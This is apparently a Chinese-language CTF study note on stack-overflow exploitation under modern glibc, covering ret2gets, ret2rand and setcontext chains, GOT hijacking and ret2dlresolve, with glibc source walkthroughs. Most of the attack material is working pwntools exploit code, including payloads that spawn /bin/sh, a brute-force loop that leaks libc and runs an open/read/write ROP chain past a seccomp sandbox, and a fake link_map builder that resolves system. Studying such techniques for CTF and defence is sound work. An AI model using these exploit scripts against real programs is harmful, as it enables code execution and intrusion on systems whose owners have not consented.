ret2gets
适用于高版本,很强大无gadget的利用利用方式
#include <stdio.h> int main () { char buf[0x20 ]; puts ("Show how to ret2gets!" ); gets(buf); return ; }
事实上,再执行完gets后,rdi会指向libc中的一个可写地址,叫_IO_stdfile_0_lock
RDI 0x7ffc7f51f070 ◂— 0 ► 0x40117d <main+39> call gets@plt <gets@plt> rdi: 0x7ffc7f51f070 ◂— 0 rsi: 0x890a2a0 ◂— 'Show how to ret2gets!\n' rdx: 0 rcx: 0x78826931c5a4 (write+20) ◂— cmp rax, -0x1000 /* 'H=' */ -------------------------------------------------------------------------------------- *RDI 0x788269405720 (_IO_stdfile_0_lock) ◂— 0 pwndbg> vmmap 0x788269405720 LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File (set vmmap-prefer-relpaths on) 0x788269403000 0x788269405000 rw-p 2000 202000 ... ► 0x788269405000 0x788269412000 rw-p d000 0 [anon_788269405] +0x720 0x788269591000 0x788269596000 rw-p 5000 0 [anon_788269591]
类似的puts后rdi也会指向_IO_stdfile_1_lock
pwndbg> tele 0x788269405700 00:0000│ 0x788269405700 (_IO_stdfile_2_lock) ◂— 0 01:0008│ 0x788269405708 (_IO_stdfile_2_lock+8) ◂— 0 00:0010│ 0x788269405710 (_IO_stdfile_1_lock) ◂— 0 01:0018│ 0x788269405718 (_IO_stdfile_1_lock+8) ◂— 0 00:0020│ rdi 0x788269405720 (_IO_stdfile_0_lock) ◂— 0 01:0028│ 0x788269405728 (_IO_stdfile_0_lock+8) ◂— 0
对于gets函数
char *_IO_gets (char *buf){ size_t count; int ch; char *retval; _IO_acquire_lock (stdin ); ch = _IO_getc_unlocked (stdin ); if (ch == EOF) { retval = NULL ; goto unlock_return; } if (ch == '\n' ) count = 0 ; else { int old_error = stdin ->_flags & _IO_ERR_SEEN; stdin ->_flags &= ~_IO_ERR_SEEN; buf[0 ] = (char ) ch; count = _IO_getline (stdin , buf + 1 , INT_MAX, '\n' , 0 ) + 1 ; if (stdin ->_flags & _IO_ERR_SEEN) { retval = NULL ; goto unlock_return; } else stdin ->_flags |= old_error; } buf[count] = 0 ; retval = buf; unlock_return: _IO_release_lock (stdin ); return retval; }
这个结构是一个锁对象 ,通过控制他的值来应对条件竞争漏洞
gets函数的开头,获取了锁,告知其他线程stdin正在使用 gets函数的结尾,释放了锁,告知其他线程stdin已可用结束
而这个结构体
typedef struct { int lock; int cnt; void *owner; } _IO_lock_t;
IO_FILE结构体的0x88 _lock结构体指向它
11:0088│ 0x788269403968 (_IO_2_1_stdin_+136) —▸ 0x788269405720 (_IO_stdfile_0_lock) ◂— 0
再来看这个函数
# ifdef __EXCEPTIONS # define _IO_acquire_lock(_fp) \ do { \ FILE *_IO_acquire_lock_file \ __attribute__((cleanup (_IO_acquire_lock_fct))) \ = (_fp); \ _IO_flockfile (_IO_acquire_lock_file); # else # define _IO_acquire_lock(_fp) _IO_acquire_lock_needs_exceptions_enabled # endif # define _IO_release_lock(_fp) ; } while (0) #endif
调用了_IO_acquire_lock_fct
static inline void __attribute__ ((__always_inline__)) _IO_acquire_lock_fct (FILE **p) { FILE *fp = *p; if ((fp->_flags & _IO_USER_LOCK) == 0 ) _IO_funlockfile (fp); }
所以主要的是两个函数
# define _IO_flockfile(_fp) \ if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock) # define _IO_funlockfile(_fp) \ if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)->_lock)
其中的两个函数
#define _IO_lock_lock(_name) \ do { \ void *__self = THREAD_SELF; \ if (SINGLE_THREAD_P && (_name).owner == NULL) \ { \ (_name).lock = LLL_LOCK_INITIALIZER_LOCKED; \ (_name).owner = __self; \ } \ else if ((_name).owner != __self) \ { \ lll_lock ((_name).lock, LLL_PRIVATE); \ (_name).owner = __self; \ } \ else \ ++(_name).cnt; \ } while (0) #define _IO_lock_unlock(_name) \ do { \ if (SINGLE_THREAD_P && (_name).cnt == 0) \ { \ (_name).owner = NULL; \ (_name).lock = 0; \ } \ else if ((_name).cnt == 0) \ { \ (_name).owner = NULL; \ lll_unlock ((_name).lock, LLL_PRIVATE); \ } \ else \ --(_name).cnt; \ } while (0)
这里面cnt存在整数溢出漏洞
对于有后门函数的函数
形如ret2system
payload1=b"a" *0x20 +p64(rbp)+p64(gets_plt) p.sendline(payload1) payload2=b"/bin" +p8(u8(b"/" )+1 )+b"ah" p.sendline(payload2)
又或者是leak libc
如果有printf
可以在结构中写入
p.sendline(b"%69$" +p8(u8(b"p" )+1 ))
如果有puts
offset=fs_base-libc_base payload1=b"a" *0x20 +p64(rbp)+p64(gets_plt)+p64(puts_plt) p.sendline(payload1) payload2=b"a" *4 +b"\x00" *3 p.sendline(payload2) p.recv(8 ) libc_base=u64(p.recv(6 )+b"\x00\x00" )-offset
offset=fs_base-libc_base payload1=b"a" *0x20 +p64(rbp)+p64(gets_plt)+p64(gets_plt)+p64(puts_plt) p.sendline(payload1) payload2=p32(0 )+b"a" *4 +b"b" *8 p.sendline(payload2) payload3=b"c" *4 p.sendline(payload3) p.recv(8 ) libc_base=u64(p.recv(6 )+b"\x00\x00" )-offset
当gets后不是直接返回而是使用了其他的函数改变了rdi,比如puts函数
#include <stdio.h> int main () { char buf[0x20 ]; puts ("ROP me if you can!" ); gets(buf); puts ("No lock for you ;)" ); }
有以下几种情况:
rdi writable
再次调用gets
rdi readable
调用puts,使其可写在调用gets
rdi=NULL
ret2printf
调用printf(NULL)会在rdi留下_IO_2_1_stdout_的地址
ret2fflush
调用fflush(NULL)会在rdi留下一个栈指针指向funlockfile(中间调用了__libc_cleanup_pop_restore(&_buffer))
这在2.37发生了改变
rdi=junk
ret2rand
调用rand后会在rdi存下一个libc地址
因此可以联合利用,但是联合于ret2gets只能在2.27以前才行?
addr = libc.sym.__fork_handlers data = p64(addr+8 ) + forge_packed(addr+8 , libc.sym.rand, libc.sym.gets, libc.sym.rand, libc.sym.system) assert b"\n" not in dataextra_data = flat({ 0x00 : b"/bin/sh\x00" , 0x10 : libc.sym.randtbl+4 , 0x18 : p32(0 ), }) assert b"\n" not in extra_datap.sendlineafter(b"Enter address, size and data: " , f"{addr} {len (data)+2 } " .encode() + data) p.sendline(extra_data) p.interactive()
抑或是使用setcontext
addr = libc.sym.__fork_handlers data = p64(addr+8 ) + forge_packed(addr+8 , libc.sym.rand, libc.sym.gets, libc.sym.rand, libc.sym.setcontext) assert b"\n" not in dataucontext = setcontext({ "rdi" : next (libc.search(b"/bin/sh\x00" )), "rsi" : 0 , "rdx" : 0 , "rip" : libc.sym.execve, "rsp" : libc.sym.unsafe_state+0x200 }, libc.sym.unsafe_state) extra_data = flat({ 0x10 : libc.sym.randtbl+4 , 0x18 : p32(0 ), }) extra_data += ucontext[len (extra_data):] assert b"\n" not in extra_datap.sendlineafter(b"Enter address, size and data: " , f"{addr} {len (data)+2 } " .encode() + data) p.sendline(extra_data) p.interactive()
ret2getchar/ret2putchar
待补充
我写了一个程序
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include <sys/prctl.h> #include <sys/resource.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <seccomp.h> #include <errno.h> int set_seccomp_rules () { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); if (ctx == NULL ) { perror("seccomp_init failed" ); return -1 ; } const int forbidden_syscalls[] = { SCMP_SYS(execve), SCMP_SYS(execveat) }; for (int i = 0 ; i < sizeof (forbidden_syscalls) / sizeof (int ); i++) { if (seccomp_rule_add(ctx, SCMP_ACT_KILL, forbidden_syscalls[i], 0 ) == -1 ) { perror("seccomp_rule_add failed" ); seccomp_release(ctx); return -1 ; } } if (seccomp_load(ctx) == -1 ) { perror("seccomp_load failed" ); seccomp_release(ctx); return -1 ; } seccomp_release(ctx); return 0 ; } void sandbox_init () { if (prctl(PR_SET_NO_NEW_PRIVS, 1 , 0 , 0 , 0 ) == -1 ) { perror("prctl PR_SET_NO_NEW_PRIVS failed" ); exit (1 ); } if (set_seccomp_rules() == -1 ) { exit (1 ); } } int main () { sandbox_init(); char buf[0x20 ]; puts ("Welcome to ROP-master!" ); gets(buf); return 0 ; } #gcc -g -o ret2gets ./ret2gets.c -no-pie -fno-stack-protector -lseccomp #glibc 2.41-6ubuntu1
由于tls结构体和libc的偏移存在不确定,所以只能爆破处理,有三位数字可能不同
data_recv=b"0" def boom (): gets_plt=0x401120 puts_plt=0x4010e0 offset=0x330740 bss=0x404800 p.recvuntil(b"Welcome to ROP-master!" ) payload1=b"a" *0x20 +p64(bss)+p64(gets_plt)+p64(gets_plt)+p64(puts_plt)+p64(0x4013AF ) p.sendline(payload1) payload2=p32(0 )+b"a" *4 +b"b" *8 p.sendline(payload2) payload3=b"c" *4 p.sendline(payload3) p.recv(1 ) a=p.recv(8 ) libc_base=u64(p.recv(6 )+b"\x00\x00" )-offset open_addr = libc_base + libc.sym["open" ] read_addr = libc_base + libc.sym["read" ] write_addr = libc_base + libc.sym["write" ] pop_rdi_addr=libc_base+ 0x11a79c pop_rsi_addr=0x11b97d +libc_base pop_rdx_addr=libc_base+0xb5762 payload4=b"/flag\x00\x00\x00" +b"a" *0x18 +p64(bss)+p64(pop_rdi_addr)+p64(bss-0x20 )+p64(pop_rsi_addr)+p64(0 )+p64(open_addr) payload4+=p64(pop_rdi_addr)+p64(3 )+p64(pop_rsi_addr)+p64(bss-0x400 )+p64(pop_rdx_addr)+p64(0x100 )+p64(read_addr) payload4+=p64(pop_rdi_addr)+p64(1 )+p64(pop_rsi_addr)+p64(bss-0x400 )+p64(write_addr) p.sendline(payload4) data_recv=p.recvline() log.success(data_recv) for i in range (1024 ): try : p=start() boom() dataa=p.recvline() log.success(data_recv) data_stripped = data_recv.strip() if (data_stripped==b"your_flag_content" ): break sleep(0.1 ) p.close() except : p.close() continue p.interactive()
no leak got hijack
使用一些gadget达到攻击的效果
0x00000000004010bf : add bl, al ; ... ; ret 0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x000000000040115d : pop rbp ; ret
设置rbp使rbp-0x3d指向got,使用add改变got表中的值
只需要控制ebx
通过add先行改变setbuf的got指向setbuf(+0x80)
而setbuf中存在pop rbx
ret2dlresolve
got表是Global Offset Table的简称
plt表是Procedure Linkage Table的简称
它们都是重定向relocations的实现方式,是为了给外部变量和函数提供调用的方法
而函数和变量作为符号被存在可执行文件中,不同类型符号聚合在一起,称为符号表,有两种类型
一种是常规的.symtab和.strtab,一种是动态的.dynsym和.dynstr
在没有开Full RELOC时第一次调用函数时
第二次调用函数时
过程分析
在调用_dl_runtime_resolve前先push了一个序号,在push了个地址,这个地址就是link_map
关键的函数是
_dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW (Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; } int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } value = elf_machine_plt_value (l, reloc, value); if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0 )) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); }
一步一步分析这个函数做了什么
_dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg)
看看传入的参数,与我们push的两个参数一样
l 是调用者所在的 link_map,记录该动态库或可执行文件的加载信息
reloc_arg 是重定位槽编号(PLT entry 编号),用于查找具体哪个函数需要绑定
link_map的结构:
struct link_map { ElfW(Addr) l_addr; char *l_name; ElfW(Dyn) *l_ld; struct link_map *l_next , *l_prev ; };
而又有
#define ElfW(type) _ElfW (Elf, __ELF_NATIVE_CLASS, type) #define _ElfW(e,w,t) _ElfW_1 (e, w, _##t) #define _ElfW_1(e,w,t) e##w##t
再看变量 __ELF_NATIVE_CLASS 的含义:
在 32 位系统上为 32
在 64 位系统上为 64
其中type有以下类型
ElfW(Addr)
Elf32(64)_Addr
ElfW(Sym)
Elf64_Sym
ElfW(Dyn)
Elf64_Dyn
ElfW(Half)
Elf64_Half
也就是说ElfW(Addr)=Elf64_Addr,ElfW(Dyn)=Elf64_Dyn这样
而
typedef uint64_t Elf64_Addr;typedef struct { Elf64_Sxword d_tag; union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn;
1. 获取符号表与字符串表
const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
2. 获取当前重定位项
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
DT_JMPREL:保存 .rel.plt 表的位置
reloc_offset 是根据 reloc_arg 算出来的
reloc:指向当前 PLT 的重定位项
3. 获取符号项和地址
const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
reloc->r_info 里面编码了符号索引
sym 是要绑定的符号(比如 printf)
rel_addr 是 GOT 中的地址,即我们需要写入“真正函数地址”的地方
4. 断言:必须是 PLT 重定位
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
只处理 JMP_SLOT 类型(即跳转槽),其他如 RELATIVE 等不由 _dl_fixup 处理
5. 判断符号是否可见并查找真实地址
if (ELFW(ST_VISIBILITY) (sym->st_other) == 0 )
如果符号是默认可见(即不是 hidden),则进行全局符号查找:
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL );
查找流程包括版本信息、作用域锁等
result 是找到该符号所在的 link_map
sym->st_value 是符号在该库内的偏移,加上 result 的基地址就是最终地址
6. 查询出具体函数的地址
#define DL_FIXUP_MAKE_VALUE(map, addr) (addr) #define LOOKUP_VALUE_ADDRESS(map) ((map) ? (map)->l_addr : 0) value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 );
如果 sym 存在,就计算:
value = l_addr + sym->st_value;
这里的l_addr是libc在库中的偏移,也就是说这个是libc_base ,那么value 也就是:符号的真实内存地址
否则:
value = DL_FIXUP_MAKE_VALUE(result, 0 );
即符号未找到,回传 0
7. 修正值:考虑架构的特殊处理
#define elf_machine_plt_value(map, reloc, value) (value) value = elf_machine_plt_value (l, reloc, value);
某些架构需要对地址进行调整(如加偏移、修正格式);
8. IFUNC 处理(间接函数)
if (sym && STT_GNU_IFUNC) { value = elf_ifunc_invoke(...); }
如果符号类型是 GNU_IFUNC(间接函数),则先调用解析函数获得真实地址。
9. 写回 GOT 表(用于后续直接跳转)
if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);elf_machine_fixup_plt (struct link_map *map , lookup_t t, const ElfW(Sym) *refsym, const ElfW(Sym) *sym, const ElfW(Rela) *reloc, ElfW(Addr) *reloc_addr, ElfW(Addr) value) { return *reloc_addr = value; }
dl_bind_not 表示是否跳过写回(某些情况会保留懒绑定);
否则会调用 elf_machine_fixup_plt() 把 value 写入 GOT 中的 rel_addr,完成绑定;
返回 value 给调用方继续执行
解题手法
适用于没有 libc 泄露或 info leak的情况,但有栈溢出、有任意可控内存写、可控寄存器,且已知 plt, got, rel.plt 等节区偏移
我们的link_map是这样的
struct link_map { Elf64_Addr l_addr; char *l_name; Elf64_Dyn *l_ld; struct link_map *l_next ; struct link_map *l_prev ; struct link_map *l_real ; Lmid_t l_ns; struct libname_list *l_libname ; Elf64_Dyn *l_info[76 ]; ... size_t l_tls_firstbyte_offset; ptrdiff_t l_tls_offset; size_t l_tls_modid; size_t l_tls_dtor_count; Elf64_Addr l_relro_addr; size_t l_relro_size; unsigned long long l_serial; struct auditstate l_audit []; }
No RELRO-64
在DYNAMIC 节中就存着DT_STRTAB 和DT_SYMTAB ,分别指向字符名表和符号表。而这个DYNAMIC节在No RELRO 情况下是可写的。那么利用思路就很明确了,可以直接rop链调用read读取内容覆盖DT_STRTAB 为一个我们可控的地址,然后我们自己在该地址处伪造一个字符表,把目标函数的字符串换成system,最后直接返回到该函数plt表第二个jmp前的push处压id调用**_dl_runtime_resolve**即可
PARTIAL RELRO
在PARTIAL RELRO 下dynamic节不可直接改写
exp
def build_fake_link_map (fake_linkmap_addr,func,base_func='puts' ): offset = n64(libc.sym[func] - libc.sym[base_func]) linkmap = p64(offset) linkmap += p64(0 ) linkmap += p64(fake_linkmap_addr + 0x18 ) linkmap += p64(n64(elf.bss()-offset)) linkmap += p64(0x7 ) linkmap += p64(0 ) linkmap += p64(0 ) linkmap += p64(0 ) linkmap += p64(elf.got[base_func] - 0x8 ) linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68 ,b'A' ) linkmap += p64(elf.bss()+0x100 ) linkmap += p64(fake_linkmap_addr + 0x38 ) linkmap = linkmap.ljust(0xf8 ,b'A' ) linkmap += p64(fake_linkmap_addr + 0x8 ) return linkmap read_plt = elf.plt['read' ] fake_linkmap_addr = elf.bss() + 0x100 fake_link_map = build_fake_link_map(fake_linkmap_addr, 'system' ,'write' ) padding=120 payload = cyclic(padding) payload += flat({ 0x00 :next (elf.search(asm('ret' ), executable=True )), 0x08 :next (elf.search(asm('pop rdi; ret' ), executable=True )), 0x10 :0 , 0x18 :next (elf.search(asm('pop rsi; pop r15; ret' ), executable=True )), 0x20 :fake_linkmap_addr, 0x28 :0 , 0x30 :elf.plt['read' ], 0x38 :next (elf.search(asm('pop rdi; ret' ), executable=True )), 0x40 :fake_linkmap_addr + 0x48 , 0x48 :elf.get_section_by_name('.plt' ).header.sh_addr + 6 , 0x50 :fake_linkmap_addr, 0x58 :0 }) ru(b'Welcome to XDCTF2015~!\n' ) sl(payload) pause() s(fake_link_map)
MOP
MOP也称为mmap oriented programming
比如这个例子
#include <unistd.h> #include <sys/mman.h> int main () { long a[6 ] = {mmap}; write(1 , a, 8 ); read(0 , a, sizeof (a)); mmap(a[0 ], a[1 ], a[2 ], a[3 ], a[4 ], a[5 ]); }
参考
https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets#leaking-libc
ret2gets 一种控制rdi的攻击方法-CSDN博客
深入了解GOT,PLT和动态链接 - 有价值炮灰 - 博客园
https://xz.aliyun.com/news/17612
https://r3t2.top/2025/09/10/%E5%85%B3%E4%BA%8Eret2dlresolve/
深入理解ret2dlresolve | Collectcrop’s Blog
All Posts - enzocut’s blog